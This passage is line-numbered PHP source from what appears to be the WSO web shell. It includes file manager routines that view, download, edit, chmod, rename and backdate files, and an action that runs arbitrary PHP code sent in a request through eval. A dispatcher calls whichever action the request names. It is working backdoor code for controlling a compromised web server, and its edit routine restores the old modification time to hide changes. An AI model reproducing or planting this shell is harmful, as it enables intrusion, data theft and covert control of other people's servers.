615 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
616 $l = $l?0:1;
617 }
618 echo "<tr><td colspan=7>
619 <input type=hidden name=ne value=''>
620 <input type=hidden name=a value='FilesMan'>
621 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
622 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
623 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
624 if(class_exists('ZipArchive'))
625 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
626 echo "<option value='tar'>Compress (tar.gz)</option>";
627 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
628 echo "<option value='paste'>Paste / Compress</option>";
629 echo "</select> ";
630 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
631 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
632 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
633 wsoFooter();
634}
635
636function actionFilesTools() {
637 if( isset($_POST['p1']) )
638 $_POST['p1'] = urldecode($_POST['p1']);
639 if(@$_POST['p2']=='download') {
640 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
641 ob_start("ob_gzhandler", 4096);
642 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
643 if (function_exists("mime_content_type")) {
644 $type = @mime_content_type($_POST['p1']);
645 header("Content-Type: " . $type);
646 } else
647 header("Content-Type: application/octet-stream");
648 $fp = @fopen($_POST['p1'], "r");
649 if($fp) {
650 while(!@feof($fp))
651 echo @fread($fp, 1024);
652 fclose($fp);
653 }
654 }exit;
655 }
656 if( @$_POST['p2'] == 'mkfile' ) {
657 if(!file_exists($_POST['p1'])) {
658 $fp = @fopen($_POST['p1'], 'w');
659 if($fp) {
660 $_POST['p2'] = "edit";
661 fclose($fp);
662 }
663 }
664 }
665 wsoHeader();
666 echo '<h1>File tools</h1><div class=content>';
667 if( !file_exists(@$_POST['p1']) ) {
668 echo 'File not exists';
669 wsoFooter();
670 return;
671 }
672 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
673 if(!$uid) {
674 $uid['name'] = @fileowner($_POST['p1']);
675 $gid['name'] = @filegroup($_POST['p1']);
676 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
677 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
678 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
679 if( empty($_POST['p2']) )
680 $_POST['p2'] = 'view';
681 if( is_file($_POST['p1']) )
682 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
683 else
684 $m = array('Chmod', 'Rename', 'Touch');
685 foreach($m as $v)
686 echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
687 echo '<br><br>';
688 switch($_POST['p2']) {
689 case 'view':
690 echo '<pre class=ml1>';
691 $fp = @fopen($_POST['p1'], 'r');
692 if($fp) {
693 while( !@feof($fp) )
694 echo htmlspecialchars(@fread($fp, 1024));
695 @fclose($fp);
696 }
697 echo '</pre>';
698 break;
699 case 'highlight':
700 if( @is_readable($_POST['p1']) ) {
701 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
702 $code = @highlight_file($_POST['p1'],true);
703 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
704 }
705 break;
706 case 'chmod':
707 if( !empty($_POST['p3']) ) {
708 $perms = 0;
709 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
710 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
711 if(!@chmod($_POST['p1'], $perms))
712 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
713 }
714 clearstatcache();
715 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
716 break;
717 case 'edit':
718 if( !is_writable($_POST['p1'])) {
719 echo 'File isn\'t writeable';
720 break;
721 }
722 if( !empty($_POST['p3']) ) {
723 $time = @filemtime($_POST['p1']);
724 $_POST['p3'] = substr($_POST['p3'],1);
725 $fp = @fopen($_POST['p1'],"w");
726 if($fp) {
727 @fwrite($fp,$_POST['p3']);
728 @fclose($fp);
729 echo 'Saved!<br><script>p3_="";</script>';
730 @touch($_POST['p1'],$time,$time);
731 }
732 }
733 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
734 $fp = @fopen($_POST['p1'], 'r');
735 if($fp) {
736 while( !@feof($fp) )
737 echo htmlspecialchars(@fread($fp, 1024));
738 @fclose($fp);
739 }
740 echo '</textarea><input type=submit value=">>"></form>';
741 break;
742 case 'hexdump':
743 $c = @file_get_contents($_POST['p1']);
744 $n = 0;
745 $h = array('00000000<br>','','');
746 $len = strlen($c);
747 for ($i=0; $i<$len; ++$i) {
748 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
749 switch ( ord($c[$i]) ) {
750 case 0: $h[2] .= ' '; break;
751 case 9: $h[2] .= ' '; break;
752 case 10: $h[2] .= ' '; break;
753 case 13: $h[2] .= ' '; break;
754 default: $h[2] .= $c[$i]; break;
755 }
756 $n++;
757 if ($n == 32) {
758 $n = 0;
759 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
760 $h[1] .= '<br>';
761 $h[2] .= "\n";
762 }
763 }
764 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
765 break;
766 case 'rename':
767 if( !empty($_POST['p3']) ) {
768 if(!@rename($_POST['p1'], $_POST['p3']))
769 echo 'Can\'t rename!<br>';
770 else
771 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
772 }
773 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
774 break;
775 case 'touch':
776 if( !empty($_POST['p3']) ) {
777 $time = strtotime($_POST['p3']);
778 if($time) {
779 if(!touch($_POST['p1'],$time,$time))
780 echo 'Fail!';
781 else
782 echo 'Touched!';
783 } else echo 'Bad time format!';
784 }
785 clearstatcache();
786 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
787 break;
788 }
789 echo '</div>';
790 wsoFooter();
791}
792
793function actionPhp() {
794 if(isset($_POST['ajax'])) {
795 wsoSetCookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
796 ob_start();
797 eval($_POST['p1']);
798 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
799 echo strlen($temp), "\n", $temp;
800 exit;
801 }
802 if(empty($_POST['ajax']) && !empty($_POST['p1']))
803 wsoSetCookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
804
805 wsoHeader();
806 if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
807 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
808 ob_start();
809 phpinfo();
810 $tmp = ob_get_clean();
811 $tmp = preg_replace(array (
812 '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
813 '!td, th {(.*)}!msiU',
814 '!<img[^>]+>!msiU',
815 ), array (
816 '',
817 '.e, .v, .h, .h th {$1}',
818 ''
819 ), $tmp);
820 echo str_replace('<h1','<h2', $tmp) .'</div><br>';
821 }
822 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
823 echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
824 if(!empty($_POST['p1'])) {
825 ob_start();
826 eval($_POST['p1']);
827 echo htmlspecialchars(ob_get_clean());
828 }
829 echo '</pre></div>';
830 wsoFooter();
831}
832
833if( empty($_POST['a']) )
834 if(isset($default_action) && function_exists('action' . $default_action))
835 $_POST['a'] = $default_action;
836 else
837 $_POST['a'] = 'Console';
838
839if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
840 call_user_func('action' . $_POST['a']);
841
842exit;
843 //